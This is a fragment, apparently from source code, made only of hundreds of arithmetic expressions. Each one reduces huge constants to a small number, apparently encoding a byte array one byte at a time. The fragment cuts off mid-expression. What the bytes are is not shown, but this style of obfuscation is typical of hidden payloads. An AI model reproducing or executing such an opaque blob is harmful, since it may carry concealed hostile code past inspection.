(5607718656131230388 + 33532) // 2 - 2803859328065615194 - 16600, 754495758434945772210 - 754495758434945772000, 884231372057021300600 - 884231372057021300412, 1018559148671268584232 - 1018559148671268584054, 183531411078337842964 - 183531411078337842801, 1431331544431499639010 - 1431331544431499638825, (3930574904307121292 + 191970) // 2 - 1965287452153560646 - 95748, 458476914512450055832 - 458476914512450055714, 913996137329754093890 - 913996137329754093720, 87571732586675144985 - 87571732586675144850, (15345820621227794560 + 33750) // 2 - 7672910310613897280 - 16750, 793317109701121687993 - 793317109701121687766, 9987339220453426482 - 9987339220453426401, 308728154446549143899 - 308728154446549143838, (8356612968827613004 + 35504) // 2 - 4178306484413806502 - 17696, (2906431976688171278 + 56480) // 2 - 1453215988344085639 - 28160, (15839924071386133904 + 26880) // 2 - 7919962035693066952 - 13200, 801185924201296942966 - 801185924201296942728, 308764289248941626732 - 308764289248941626694, (2370538052773019408 + 220864) // 2 - 1185269026386509704 - 110200, (11209864681539264088 + 73406) // 2 - 5604932340769632044 - 36576, 205132847899894544625 - 205132847899894544550, (10924181628081245650 + 85374) // 2 - 5462090814040622825 - 42534, (14552412113109684796 + 140080) // 2 - 7276206056554842398 - 69834, 427349193250024771680 - 427349193250024771440, 254248777258725128776 - 254248777258725128672, 378070745280034527680 - 378070745280034527520, 236162756443959488122 - 236162756443959487995, (14469218972087318082 + 68040) // 2 - 7234609486043659041 - 33885, 253099716874080650577 - 253099716874080650406, 199890515824205544402 - 199890515824205544349, (6287971665210742202 + 201552) // 2 - 3143985832605371101 - 100529, (18121892866348121792 + 7830) // 2 - 9060946433174060896 - 3900, (14097263070264484150 + 162350) // 2 - 7048631535132242075 - 80984, (9653796228382108896 + 188500) // 2 - 4826898114191054448 - 94000, (12125707417071224372 + 101232) // 2 - 6062853708535612186 - 50464, 30736448747481874275 - 30736448747481874248, 1104691942542225887928 - 1104691942542225887694, 53910642394983896312 - 53910642394983896256, 363783968620882255254 - 363783968620882255041, 2089994377312908504815 - 2089994377312908504580, (1126544263385036898 + 46530) // 2 - 563272131692518449 - 23166, 597686434456991001663 - 597686434456991001550, (17874354370190433282 + 53130) // 2 - 8937177185095216641 - 26334, (6492659644293699342 + 72944) // 2 - 3246329822146849671 - 36378, (4855390673241344970 + 42504) // 2 - 2427695336620672485 - 21021, 455252095484203016460 - 455252095484203016358, 315817746054357419600 - 315817746054357419392, 252221866779873461616 - 252221866779873461580, 258531266284298885514 - 258531266284298885383, 1630126394695052293533 - 1630126394695052293354, (8846859214336026626 + 20040) // 2 - 4423429607168013313 - 9853, 463391890969531551040 - 463391890969531550936, 8524640484058143543 - 8524640484058143396, 38660351205759599140 - 38660351205759599120, (1927394624168225414 + 21580) // 2 - 963697312084112707 - 10764, 50118438173460371429 - 50118438173460371416, (16973134831240921808 + 119262) // 2 - 8486567415620460904 - 59488, 382502481480021505122 - 382502481480021504953, (12179349079181607180 + 24168) // 2 - 6089674539590803590 - 12027, (722312074784959438 + 144228) // 2 - 361156037392479719 - 71876, (17602746211975536046 + 152130) // 2 - 8801373105987768023 - 75900, 487199298668273795507 - 487199298668273795350, 2262322533320825683746 - 2262322533320825683495, (11358195397542288988 + 93690) // 2 - 5679097698771144494 - 46710, (5483037105957038220 + 34992) // 2 - 2741518552978519110 - 17253, 2004067705764116504405 - 2004067705764116504170, (17354357841160211828 + 94248) // 2 - 8677178920580105914 - 46971, 116551025000913210444 - 116551025000913210378, (7661902482215129330 + 49320) // 2 - 3830951241107564665 - 24523, (12717746741232128764 + 26924) // 2 - 6358873370616064382 - 13208, 602962882155667810205 - 602962882155667810084, 254564180739511777680 - 254564180739511777602, 442546824096012237654 - 442546824096012237576, (11261082557635789734 + 52164) // 2 - 5630541278817894867 - 25921, 873229784626582037830 - 873229784626582037649, 550884376761948444516 - 550884376761948444432, (15483487646653168122 + 87884) // 2 - 7741743823326584061 - 43688, 471189385170177746748 - 471189385170177746526, (1346442998379195266 + 84924) // 2 - 673221499189597633 - 42336, (2747041017703525658 + 16524) // 2 - 1373520508851762829 - 8109, 427278869893564142460 - 427278869893564142255, 212197278922218369676 - 212197278922218369650, 214309909226593818162 - 214309909226593818036, (18387025063472267060 + 45250) // 2 - 9193512531736133530 - 22500, (16879313636346900 + 28800) // 2 - 8439656818173450 - 14304, (8386817144917989676 + 46812) // 2 - 4193408572458994838 - 23359, (11309659084684089968 + 141856) // 2 - 5654829542342044984 - 70720, 946407765110607156168 - 946407765110607155997, 289109210437387158115 - 289109210437387158000, (17566077646620860672 + 50220) // 2 - 8783038823310430336 - 25029, 488242387896812840642 - 488242387896812840580, 1668866881356018016407 - 1668866881356018016218, (17382266817347015616 + 94248) // 2 - 8691133408673507808 - 46926, (1312762005153491972 + 25752) // 2 - 656381002576745986 - 12728, (714900971390053114 + 40704) // 2 - 357450485695026557 - 20224, (3871762196575965140 + 55212) // 2 - 1935881098287982570 - 27392, 990094055022695747475 - 990094055022695747302, (14822595002633691672 + 88288) // 2 - 7411297501316845836 - 44055, (9687342142152996590 + 12128) // 2 - 4843671071076498295 - 6048, 422783859935403968020 - 422783859935403967802, 295713057519333434112 - 295713057519333434068, 1493570015383161106080 - 1493570015383161105867, (3740467858433642404 + 161210) // 2 - 1870233929216821202 - 80370, (4935426442950120974 + 23976) // 2 - 2467713221475060487 - 11826, (15979323864496913038 + 81972) // 2 - 7989661932248456519 - 40788, 1103807701087881542438 - 1103807701087881542311, (3481021876501795928 + 114840) // 2 - 1740510938250897964 - 57255, (5807048144588842908 + 40068) // 2 - 2903524072294421454 - 19875, (9246161928478596506 + 76032) // 2 - 4623080964239298253 - 37928, 928603045222074530550 - 928603045222074530400, (2566014476945055108 + 68276) // 2 - 1283007238472527554 - 33936, (13607060328618485992 + 57200) // 2 - 6803530164309242996 - 28500, (2891548599020134470 + 17248) // 2 - 1445774299510067235 - 8596, (542542350732791078 + 81618) // 2 - 271271175366395539 - 40626, (1502819422492782058 + 141204) // 2 - 751409711246391029 - 70356, 26187178219721645574 - 26187178219721645571, 275777137722869472459 - 275777137722869472382, (18198156301486785196 + 79980) // 2 - 9099078150743392598 - 39835, 90923217850893911301 - 90923217850893911288, (15958662424680858422 + 36088) // 2 - 7979331212340429211 - 17992, (6848549648413134560 + 3016) // 2 - 3424274824206567280 - 1504, (14586986018833358202 + 126160) // 2 - 7293493009416679101 - 62928, 112831020005751697313 - 112831020005751697290, 1631253915923291034060 - 1631253915923291033832, 3514352127418225392 - 3514352127418225288, 44943656310233314704 - 44943656310233314632, (13454912411700073454 + 57330) // 2 - 6727456205850036727 - 28560, (6493502925615118492 + 2688) // 2 - 3246751462807559246 - 1337, 570598268743185115059 - 570598268743185114978, (1239096538408864944 + 44800) // 2 - 619548269204432472 - 22344, 307222793343183285481 - 307222793343183285302, (11331399831389266708 + 70782) // 2 - 5665699915694633354 - 35250, 587871700999264238187 - 587871700999264238094, 1363053927988514506344 - 1363053927988514506160, (2470088703429335942 + 808) // 2 - 1235044351714667971 - 400, (11652152282431331846 + 143280) // 2 - 5826076141215665923 - 71460, (9131274463923438318 + 157520) // 2 - 4565637231961719159 - 78540, (2611301799269968598 + 72210) // 2 - 1305650899634984299 - 36018, (3515643203898353500 + 1000) // 2 - 1757821601949176750 - 496, (9948671383753297184 + 35096) // 2 - 4974335691876648592 - 17441, (9082286382967941208 + 59540) // 2 - 4541143191483970604 - 29640, (10700529110081849556 + 26588) // 2 - 5350264555040924778 - 13260, 49709692555013336848 - 49709692555013336664, (12328972551476899920 + 62040) // 2 - 6164486275738449960 - 30800, 81562244332776809584 - 81562244332776809568, 491687860743295085672 - 491687860743295085584, (4003916898290229560 + 117600) // 2 - 2001958449145114780 - 58625, (6400212447576702520 + 6396) // 2 - 3200106223788351260 - 3185, 1734675617862436351074 - 1734675617862436350880, 1212670612420945430640 - 1212670612420945430421, (6877387531645796448 + 5400) // 2 - 3438693765822898224 - 2664, (3084800738045672750 + 6592) // 2 - 1542400369022836375 - 3280, (4475576121882676862 + 14048) // 2 - 2237788060941338431 - 7008, 193066907009886951960 - 193066907009886951900, 713040805258255470735 - 713040805258255470612, (17602643162238114598 + 28288) // 2 - 8801321581119057299 - 14080, (17730181771086907578 + 47320) // 2 - 8865090885543453789 - 23491, (133536429275834414 + 122010) // 2 - 66768214637917207 - 60756, 309723191495108630127 - 309723191495108630080, (15587986623037668960 + 42300) // 2 - 7793993311518834480 - 20915, 781155022826516498622 - 781155022826516498489, 14281369725699228240 - 14281369725699228192, (16971232480343411882 + 71232) // 2 - 8485616240171705941 - 35510, 316600065823450124443 - 316600065823450124352, (9566595722084877248 + 44954) // 2 - 4783297861042438624 - 22386, 937783335715559973884 - 937783335715559973760, (17610285110608006444 + 82368) // 2 - 8805142555304003222 - 41080, (5392627210224648526 + 144396) // 2 - 2696313605112324263 - 72007, 564561462534791605788 - 564561462534791605600, 343293230971335432592 - 343293230971335432546, (5658940158956517966 + 31688) // 2 - 2829470079478258983 - 15776, (9336120498719179412 + 26880) // 2 - 4668060249359589706 - 13360, 1204007553433595694407 - 1204007553433595694238, (4398992791310687732 + 176204) // 2 - 2199496395655343866 - 87885, (6616943636288611086 + 79200) // 2 - 3308471818144305543 - 39501, (5268585728932116124 + 181566) // 2 - 2634292864466058062 - 90552, 1453457296938228316240 - 1453457296938228316038, (13503172137153360104 + 141750) // 2 - 6751586068576680052 - 70700, 415213578951300252812 - 415213578951300252565, 53295081815502243873 - 53295081815502243756, 91173060871674119604 - 91173060871674119577, (12253325558790133012 + 48048) // 2 - 6126662779395066506 - 23958, (10112120563622346956 + 90820) // 2 - 5056060281811173478 - 45220, 407099458479029176806 - 407099458479029176724, 0 - 0, (2684835884374644656 + 58464) // 2 - 1342417942187322328 - 29160, 1699952458348379888940 - 1699952458348379888730, 276427891987616534500 - 276427891987616534250, 1299596320476863900326 - 1299596320476863900124, 835691286739182295660 - 835691286739182295520, 1427247718370697744564 - 1427247718370697744378, (1327341888682805932 + 35178) // 2 - 663670944341402966 - 17466, (6039114294885097830 + 33184) // 2 - 3019557147442548915 - 16456, (3434888839554091420 + 66080) // 2 - 1717444419777045710 - 32922, 330547936765610264813 - 330547936765610264646, (13666853184581559974 + 23040) // 2 - 6833426592290779987 - 11424, (1296180835436531706 + 17000) // 2 - 648090417718265853 - 8400, 1319815458010806850863 - 1319815458010806850632, (5920131082516117284 + 60568) // 2 - 2960065541258058642 - 30058, (3108575065639974572 + 8040) // 2 - 1554287532819987286 - 3990, 50405725728186384510 - 50405725728186384320, (12385732941148895704 + 53088) // 2 - 6192866470574447852 - 26432, (4030194521690337558 + 143992) // 2 - 2015097260845168779 - 71832, (10275577952063449650 + 221850) // 2 - 5137788976031724825 - 110670, 1572524048383932513177 - 1572524048383932512946, (15951455397662608840 + 122428) // 2 - 7975727698831304420 - 60973, (15407116782221682846 + 140360) // 2 - 7703558391110841423 - 70035, (15823197918018271602 + 107520) // 2 - 7911598959009135801 - 53550, 1293669244716880800728 - 1293669244716880800576, (12647425536548494730 + 23406) // 2 - 6323712768274247365 - 11656, 167210013232784367612 - 167210013232784367495, (2569798448789531054 + 11060) // 2 - 1284899224394765527 - 5451, 1811894848471032817131 - 1811894848471032816902, (3005801590009677436 + 8096) // 2 - 1502900795004838718 - 4002, 99687921097423322586 - 99687921097423322497, (142824679023339870 + 29160) // 2 - 71412339511669935 - 14550, 240273264878360463120 - 240273264878360463040, (9618422178598604458 + 9690) // 2 - 4809211089299302229 - 4750, 143131678974557506761 - 143131678974557506728, 311091835087194769920 - 311091835087194769872, (6580836968064199202 + 39412) // 2 - 3290418484032099601 - 19539, 346301551077600701352 - 346301551077600701184, (12078306848438882674 + 4340) // 2 - 6039153424219441337 - 2156, (4986491977033602406 + 145140) // 2 - 2493245988516801203 - 72324, 1865862061557206280755 - 1865862061557206280516, 581679977564726676375 - 581679977564726676250, 60446346646527483876 - 60446346646527483642, 26034192860085105767 - 26034192860085105594, 213357423841188243510 - 213357423841188243436, 502702064526285424968 - 502702064526285424832, 381241210621645275582 - 381241210621645275500, 25009990431520927599 - 25009990431520927432, 999854152872653821915 - 999854152872653821680, (3946442683917280514 + 43650) // 2 - 1973221341958640257 - 21728, (13596489253833011152 + 162260) // 2 - 6798244626916505576 - 80940, (5613588281554049658 + 27664) // 2 - 2806794140777024829 - 13804, (2505005418070255758 + 29830) // 2 - 1252502709035127879 - 14758, (13704458664781151362 + 16560) // 2 - 6852229332390575681 - 8165, (7250374623406623424 + 30780) // 2 - 3625187311703311712 - 15336, (8293301145949818140 + 181050) // 2 - 4146650572974909070 - 90270, (12829235064969412762 + 65910) // 2 - 6414617532484706381 - 32786, (2774732928167252302 + 18864) // 2 - 1387366464083626151 - 9360, 866473895694978557272 - 866473895694978557129, (17890929659228059548 + 34874) // 2 - 8945464829614029774 - 17384, 15886402098599082600 - 15886402098599082580, 9881892040717981176 - 9881892040717981152, (14956999829341209882 + 161664) // 2 - 7478499914670604941 - 80640, 1245870094608026735232 - 1245870094608026735040, (1753193120404466592 + 6192) // 2 - 876596560202233296 - 3060, 383469382250209144263 - 383469382250209144054, (9035658463232317024 + 10880) // 2 - 4517829231616158512 - 5400, (6120097306165481822 + 72240) // 2 - 3060048653082740911 - 36034, 1264311332965087702552 - 1264311332965087702374, 951280571884104040194 - 951280571884104040040, (11364547521742588442 + 71232) // 2 - 5682273760871294221 - 35448, 151709800761940002972 - 151709800761940002816, 124795528686923630760 - 124795528686923630709, (13069614070926867390 + 16682) // 2 - 6534807035463433695 - 8322, 416932349234881359055 - 416932349234881359000, 1802140447107834174292 - 1802140447107834174048, (6114867844907660146 + 16256) // 2 - 3057433922453830073 - 8064, (14549590230773779096 + 2508) // 2 - 7274795115386889548 - 1232, (7662188200700491258 + 80066) // 2 - 3831094100350245629 - 39900, (13106022018884409282 + 77736) // 2 - 6553011009442204641 - 38745, 400687783253682494752 - 400687783253682494640, 502605286687556025620 - 502605286687556025535, 69374321347423229200 - 69374321347423229172, 1624822416737736522176 - 1624822416737736521968, 833181260461717457768 - 833181260461717457602, 1190476736105630229191 - 1190476736105630229040, (12745233961108841280 + 52208) // 2 - 6372616980554420640 - 26000, (11635650173230141366 + 54372) // 2 - 5817825086615070683 - 27117, (16736353359599847160 + 19594) // 2 - 8368176679799923580 - 9700, (10488478729145471980 + 77356) // 2 - 5244239364572735990 - 38512, (5709440206069038014 + 94452) // 2 - 2854720103034519007 - 47124, (11979429516241365540 + 29884) // 2 - 5989714758120682770 - 14911, 1333876495919046090748 - 1333876495919046090591, 41396819153338174832 - 41396819153338174824, 1463687415161664383925 - 1463687415161664383730, (8071538877017950234 + 66744) // 2 - 4035769438508975117 - 33291, (99159822817494134 + 12040) // 2 - 49579911408747067 - 5992, (13184950586986480846 + 4128) // 2 - 6592475293493240423 - 2048, (17354757322251617744 + 2222) // 2 - 8677378661125808872 - 1100, 704506535413216296516 - 704506535413216296414, 348072346559844841619 - 348072346559844841560, 634973621726452747875 - 634973621726452747620, (11636129952476517838 + 37950) // 2 - 5818064976238258919 - 18920, 33322857872459925608 - 33322857872459925600, 142483137838502337576 - 142483137838502337442, 205839389200527424791 - 205839389200527424764, (9970289071129285418 + 37960) // 2 - 4985144535564642709 - 18928, (12978871859666381280 + 89088) // 2 - 6489435929833190640 - 44428, (5302272945127980892 + 48870) // 2 - 2651136472563990446 - 24300, 1091567913966192097875 - 1091567913966192097750, (7813829264077626392 + 7950) // 2 - 3906914632038813196 - 3922, 52528441599147166272 - 52528441599147166263, (14731399702589570664 + 30752) // 2 - 7365699851294785332 - 15314, 353954093056549913391 - 353954093056549913192, (15935239514270840434 + 34946) // 2 - 7967619757135420217 - 17300, 567428520254138606074 - 567428520254138606012, 1153903557195913232265 - 1153903557195913232010, 560960450537864809900 - 560960450537864809835, 310649064968402025775 - 310649064968402025740, 1926356875979125003176 - 1926356875979125002954, (9655810135964517960 + 7776) // 2 - 4827905067982258980 - 3880, 1005213933240030601308 - 1005213933240030601152, 1557366723612537177984 - 1557366723612537177782, (8221022216082776814 + 8514) // 2 - 4110511108041388407 - 4248, (6247489646908614214 + 52160) // 2 - 3123744823454307107 - 25920, 474113523827796470064 - 474113523827796469878, (4619591420831305234 + 47722) // 2 - 2309795710415652617 - 23754, 129844460835596816354 - 129844460835596816325, (7858992651950971124 + 144144) // 2 - 3929496325975485562 - 71841, 601591308787685148840 - 601591308787685148634, 47777034663206531610 - 47777034663206531591, 1617456404986544292456 - 1617456404986544292272, 242932165477661226050 - 242932165477661226016, 6952242121142699920 - 6952242121142699832, (6806459318630674162 + 35100) // 2 - 3403229659315337081 - 17355, (1240945024348859566 + 64328) // 2 - 620472512174429783 - 32078, (11984342015763995172 + 112488) // 2 - 5992171007881997586 - 56072, 667717463663414245235 - 667717463663414245050, 142294719308696834094 - 142294719308696834076, 1570004797735096211990 - 1570004797735096211805, 734981871650597681920 - 734981871650597681760, (18404048931747001916 + 29192) // 2 - 9202024465873500958 - 14432, (13259393028560319172 + 6588) // 2 - 6629696514280159586 - 3240, (11451800970212497338 + 8946) // 2 - 5725900485106248669 - 4464, (14301603378439580896 + 30396) // 2 - 7150801689219790448 - 15164, (13944187118281945290 + 115972) // 2 - 6972093559140972645 - 57828, (13235739022216859258 + 136080) // 2 - 6617869511108429629 - 67878, (13759811949961279310 + 118296) // 2 - 6879905974980639655 - 58962, (718185553364189938 + 101760) // 2 - 359092776682094969 - 50760, (17249147098549453126 + 61460) // 2 - 8624573549274726563 - 30660, (49772670597417538 + 20064) // 2 - 24886335298708769 - 9856, (1995696249777330370 + 13780) // 2 - 997848124888665185 - 6837, (9124705923893378404 + 18240) // 2 - 4562352961946689202 - 9006, (15806851378097958096 + 168720) // 2 - 7903425689048979048 - 84170, 22108860909893008098 - 22108860909893008089, 5380608806017160016 - 5380608806017160008, 707067925775634593808 - 707067925775634593632, (500573670853857170 + 53100) // 2 - 250286835426928585 - 26432, 62557279002367739124 - 62557279002367739042, 2138347151154849346740 - 2138347151154849346488, 1366839994307727108575 - 1366839994307727108414, (16740628626338012228 + 84448) // 2 - 8370314313169006114 - 42021, (10313348577313047854 + 26936) // 2 - 5156674288656523927 - 13394, (186495393329168556 + 144420) // 2 - 93247696664584278 - 72044, (6239086561692745036 + 88356) // 2 - 3119543280846372518 - 43979, 754935445501532859713 - 754935445501532859462, 802135557189126483120 - 802135557189126482980, (14460991835195817800 + 42240) // 2 - 7230495917597908900 - 21076, 2023443804982601418696 - 2023443804982601418453, (15999800316097721654 + 8908) // 2 - 7999900158048860827 - 4437, 560089317579676462244 - 560089317579676462171, (8766282516124817910 + 125560) // 2 - 4383141258062408955 - 62634, 41147557972981675704 - 41147557972981675623, 425290538133551421764 - 425290538133551421562, 410011543106513777220 - 410011543106513777000, 259074052212446299136 - 259074052212446299003, (15786449353348303924 + 78744) // 2 - 7893224676674151962 - 39179, 1159249622757553167150 - 1159249622757553167000, (10040742243812262988 + 3162) // 2 - 5020371121906131494 - 1550, 181615518777089536356 - 181615518777089536335, (13324079665500662160 + 173262) // 2 - 6662039832750331080 - 86430, 53234094376141975368 - 53234094376141975310, (3774774003117067940 + 20330) // 2 - 1887387001558533970 - 10070, (16074193337387142970 + 25776) // 2 - 8037096668693571485 - 12709, (11317343519522275064 + 208754) // 2 - 5658671759761137532 - 104160, 384506115196687007832 - 384506115196687007760, (7105372738817530846 + 47084) // 2 - 3552686369408765423 - 23384, (8953452129517542422 + 74778) // 2 - 4476726064758771211 - 37268, (6508542842952977084 + 3654) // 2 - 3254271421476488542 - 1806, 769383654095635200360 - 769383654095635200196, 1803249926394358954140 - 1803249926394358953905, 1712581067335320931500 - 1712581067335320931275, (18019704960184142440 + 7014) // 2 - 9009852480092071220 - 3486, (9475018138288786944 + 96696) // 2 - 4737509069144393472 - 48246, (7262565223389573424 + 13830) // 2 - 3631282611694786712 - 6900, 312360683529118805445 - 312360683529118805204, (1150495481286662280 + 20880) // 2 - 575247740643331140 - 10380, 46147570610889561590 - 46147570610889561576, 626815644389086490486 - 626815644389086490404, (5983475780531911122 + 12740) // 2 - 2991737890265955561 - 6272, (11140561053441666586 + 47880) // 2 - 5570280526720833293 - 23814, (15001469317809071434 + 12276) // 2 - 7500734658904535717 - 6039, (17934109695705613768 + 12420) // 2 - 8967054847852806884 - 6095, (17552346703254597488 + 177072) // 2 - 8776173351627298744 - 88319, (17258564189426755010 + 10614) // 2 - 8629282094713377505 - 5220, 30846960607075127796 - 30846960607075127727, (12358797546386107360 + 27018) // 2 - 6179398773193053680 - 13338, (7153479342044841714 + 166704) // 2 - 3576739671022420857 - 83168, (12873469167675672426 + 45900) // 2 - 6436734583837836213 - 22896, 372585304049369305640 - 372585304049369305504, 105805321225479510096 - 105805321225479509949, (343727566351522388 + 94284) // 2 - 171863783175761194 - 46980, (5203509571032133680 + 106704) // 2 - 2601754785516066840 - 53200, 162781188515734605228 - 162781188515734605066, 199396478492549327178 - 199396478492549327052, 1444708070072154345263 - 1444708070072154345094, (16729652097394803536 + 126896) // 2 - 8364826048697401768 - 63242, 588963856453239602046 - 588963856453239601887, 670752008104910552940 - 670752008104910552691, 586144397518760867571 - 586144397518760867394, (17938337670125016386 + 92974) // 2 - 8969168835062508193 - 46284, (12803449514508978100 + 108240) // 2 - 6401724757254489050 - 53874, (2070853436744025530 + 79808) // 2 - 1035426718372012765 - 39672, 382994046573340665008 - 382994046573340664826, 232068955994922176723 - 232068955994922176544, 395586929907993784422 - 395586929907993784356, 406079738590359203100 - 406079738590359203040, 303553890170597313366 - 303553890170597313297, 1757922474744390054639 - 1757922474744390054408, (10897537635666086528 + 143838) // 2 - 5448768817833043264 - 71736, 478632546034571782395 - 478632546034571782312, 711069362744792146305 - 711069362744792146200, 584951452239454661691 - 584951452239454661592, (1257068417816650586 + 62304) // 2 - 628534208908325293 - 31064, 290067167585258398860 - 290067167585258398755, 1307396919820621719760 - 1307396919820621719584, (15183125560021904046 + 135386) // 2 - 7591562780010952023 - 67554, 1551223619301317195718 - 1551223619301317195520, 612646594847809824235 - 612646594847809824080, 647278025192276832203 - 647278025192276832130, (13829062886448827000 + 37700) // 2 - 6914531443224413500 - 18705, (15412973934160116592 + 124816) // 2 - 7706486967080058296 - 62176, 660429846546192498528 - 660429846546192498316, 1300319954718254561988 - 1300319954718254561832, (7812764371197048556 + 50692) // 2 - 3906382185598524278 - 25288, 103170671827108425328 - 103170671827108425102, (12116988261102339636 + 122332) // 2 - 6058494130551169818 - 60928, 310143902693536195876 - 310143902693536195830, (17168614543214346034 + 15028) // 2 - 8584307271607173017 - 7488, 977915292764250330932 - 977915292764250330760, 969419541290483636755 - 969419541290483636550, (12975449611371977596 + 15282) // 2 - 6487724805685988798 - 7614, (15207865178817464176 + 25544) // 2 - 7603932589408732088 - 12710, (11025562496103973184 + 139788) // 2 - 5512781248051986592 - 69696, (8703044423388245368 + 15050) // 2 - 4351522211694122684 - 7490, 937112342888833997732 - 937112342888833997578, 350540561183232377430 - 350540561183232377265, 150485720320373747208 - 150485720320373747184, 790704281960438895644 - 790704281960438895525, 85602685231608738774 - 85602685231608738641, 119512128522395984390 - 119512128522395984191, 115451252525433613908 - 115451252525433613824, 175496220222339750560 - 175496220222339750400, 282102133235003819576 - 282102133235003819463, (8801654975482417596 + 181016) // 2 - 4400827487741208798 - 90266, (14004138542966502382 + 124752) // 2 - 7002069271483251191 - 62150, 396679416598831135804 - 396679416598831135758, 17709746632932195016 - 17709746632932195009, (18384693591535697906 + 36736) // 2 - 9192346795767848953 - 18327, (5307547443162203294 + 67818) // 2 - 2653773721581101647 - 33782, (10626845788439782568 + 22420) // 2 - 5313422894219891284 - 11172, 890257314639472921008 - 890257314639472920756, 168556505312827072332 - 168556505312827072230, (4971747781640618194 + 238080) // 2 - 2485873890820309097 - 118792, (17997500110880958858 + 112308) // 2 - 8998750055440479429 - 56007, (2676248498401305032 + 50544) // 2 - 1338124249200652516 - 25056, (2865577451617486316 + 239500) // 2 - 1432788725808743158 - 119500, (2888037638092187904 + 51920) // 2 - 1444018819046093952 - 25842, 1479329517527584056276 - 1479329517527584056063, (4403512680502268954 + 88392) // 2 - 2201756340251134477 - 43942, (6912292903116978818 + 35642) // 2 - 3456146451558489409 - 17750, (14876343800308679952 + 117780) // 2 - 7438171900154339976 - 58739, (6335278903783520974 + 5890) // 2 - 3167639451891760487 - 2914, 120121451750319199642 - 120121451750319199488, 182121176119429612000 - 182121176119429611962, (8241323448618015746 + 25368) // 2 - 4120661724309007873 - 12642, 217968532663880689320 - 217968532663880689260, (11735587193254028780 + 30336) // 2 - 5867793596627014390 - 15010, 265288205063668968496 - 265288205063668968300, (15426822425285666520 + 54954) // 2 - 7713411212642833260 - 27348, 551006048622372658315 - 551006048622372658220, 665540830776743789335 - 665540830776743789100, 529672002482137011805 - 529672002482137011722, 752670897318060310070 - 752670897318060309940, 10328356292880119208 - 10328356292880119130, 1031607150964379668080 - 1031607150964379667936, (9020006777742405500 + 138260) // 2 - 4510003388871202750 - 68907, (10802008211828922444 + 183260) // 2 - 5401004105914461222 - 91385, (2954094688077180106 + 60984) // 2 - 1477047344038590053 - 30294, (14540503225545970622 + 104788) // 2 - 7270251612772985311 - 52260, (15982200516578700174 + 135148) // 2 - 7991100258289350087 - 67348, (4901752629697334310 + 10860) // 2 - 2450876314848667155 - 5400, (13660885113405877358 + 109504) // 2 - 6830442556702938679 - 54520, (15237582104175207544 + 20148) // 2 - 7618791052087603772 - 9928, 2450900096043678291 - 2450900096043678114, 309717581339530147199 - 309717581339530146978, 193234168026630782370 - 193234168026630782316, 216233995997841547816 - 216233995997841547632, 984025549399426587000 - 984025549399426586775, (4610179479774685376 + 93624) // 2 - 2305089739887342688 - 46646, (9592165464696277212 + 21472) // 2 - 4796082732348138606 - 10560, 575152707898175234784 - 575152707898175234702, (5282589556277669546 + 79596) // 2 - 2641294778138834773 - 39664, (13500743568066823072 + 76494) // 2 - 6750371784033411536 - 38038, (16733026221505774210 + 17556) // 2 - 8366513110752887105 - 8757, 844585437914964250852 - 844585437914964250728, (15891405059436539082 + 94288) // 2 - 7945702529718269541 - 46978, (8402386218559346048 + 27888) // 2 - 4201193109279673024 - 13860, 15915901899537509816 - 15915901899537509778, 631912809017588299552 - 631912809017588299344, 221505580742996385440 - 221505580742996385352, (13689177181364475256 + 48276) // 2 - 6844588590682237628 - 24084, 1048701756128468532610 - 1048701756128468532488, 1117783651776973857372 - 1117783651776973857223, 1178646736861523984796 - 1178646736861523984607, (11816059865276457442 + 108480) // 2 - 5908029932638228721 - 54080, 786655736994893040440 - 786655736994893040352, 248737195084824019728 - 248737195084824019684, (15250348954718621258 + 14100) // 2 - 7625174477359310629 - 7003, 131587695254410817262 - 131587695254410817044, 1426001477152613097088 - 1426001477152613096879, 305712884844616859377 - 305712884844616859238, (2983963835954274112 + 82622) // 2 - 1491981917977137056 - 41202, (13506505175762724568 + 18600) // 2 - 6753252587881362284 - 9114, (11920172001255241080 + 117124) // 2 - 5960086000627620540 - 58384, (7650615948551629404 + 14896) // 2 - 3825307974275814702 - 7429, 35360419591791386722 - 35360419591791386519, (495519385063809206 + 35298) // 2 - 247759692531904603 - 17596, (9314110244914918038 + 70752) // 2 - 4657055122457459019 - 35175, (10404393220249091620 + 18408) // 2 - 5202196610124545810 - 9027, 31306235628841442410 - 31306235628841442376, 156983072418297687618 - 156983072418297687600, (2609066044918097948 + 13464) // 2 - 1304533022459048974 - 6699, (1888617866095994168 + 40970) // 2 - 944308933047997084 - 20244, 1921150067801816551766 - 1921150067801816551548, 348290071873502364955 - 348290071873502364852, 1131979187714078376036 - 1131979187714078375880, (1520455986450023836 + 25048) // 2 - 760227993225011918 - 12462, (3316048751360590934 + 48216) // 2 - 1658024375680295467 - 24024, (11974054704223429846 + 24610) // 2 - 5987027352111714923 - 12198, (1916666934166963134 + 84018) // 2 - 958333467083481567 - 41800, 1646667873446101303885 - 1646667873446101303700, (558828846333691294 + 85140) // 2 - 279414423166845647 - 42471, (4543958681244009254 + 63840) // 2 - 2271979340622004627 - 31730, (14422072542030928990 + 152390) // 2 - 7211036271015464495 - 75950, 412600036878562117083 - 412600036878562116864, 1979634579134740166320 - 1979634579134740166078, 182725944430656466840 - 182725944430656466773, 404733331411324962426 - 404733331411324962264, (8667786246863263606 + 21534) // 2 - 4333893123431631803 - 10656, (10341667992983516690 + 53976) // 2 - 5170833996491758345 - 26815, 393119992582677202725 - 393119992582677202650, (4464607693924411772 + 135240) // 2 - 2232303846962205886 - 67480, 413359611113164537592 - 413359611113164537476, 474717644218161923436 - 474717644218161923293, (8948765339638734014 + 60960) // 2 - 4474382669819367007 - 30240, 1826904586450987094370 - 1826904586450987094148, (9613138114943408652 + 2826) // 2 - 4806569057471704326 - 1410, 56269659413041704135 - 56269659413041704036, 537382420421825942064 - 537382420421825941902, 822264930442515606750 - 822264930442515606651, 1541979325918152984746 - 1541979325918152984525, (6543027256915198976 + 50856) // 2 - 3271513628457599488 - 25350, (18399000126620987266 + 73260) // 2 - 9199500063310493633 - 36519, 1085546233986515308 - 1085546233986515294, (2504149010170056624 + 91160) // 2 - 1252074505085028312 - 45365, (9194066261809858882 + 182284) // 2 - 4597033130904929441 - 90943, (12542112623152305020 + 636) // 2 - 6271056311576152510 - 317, (4852047969362119458 + 38540) // 2 - 2426023984681059729 - 19188, (10694886364980733098 + 172480) // 2 - 5347443182490366549 - 86064, (15875286096029523580 + 69064) // 2 - 7937643048014761790 - 34338, 218150480583320133234 - 218150480583320133175, 689366364847636916011 - 689366364847636915860, 383602462066497470007 - 383602462066497469830, 29924242167581425055 - 29924242167581425020, (12102101106097020158 + 11250) // 2 - 6051050553048510079 - 5580, 504301406791125766790 - 504301406791125766735, 1305983334615898015319 - 1305983334615898015108, (5275663904823656238 + 35844) // 2 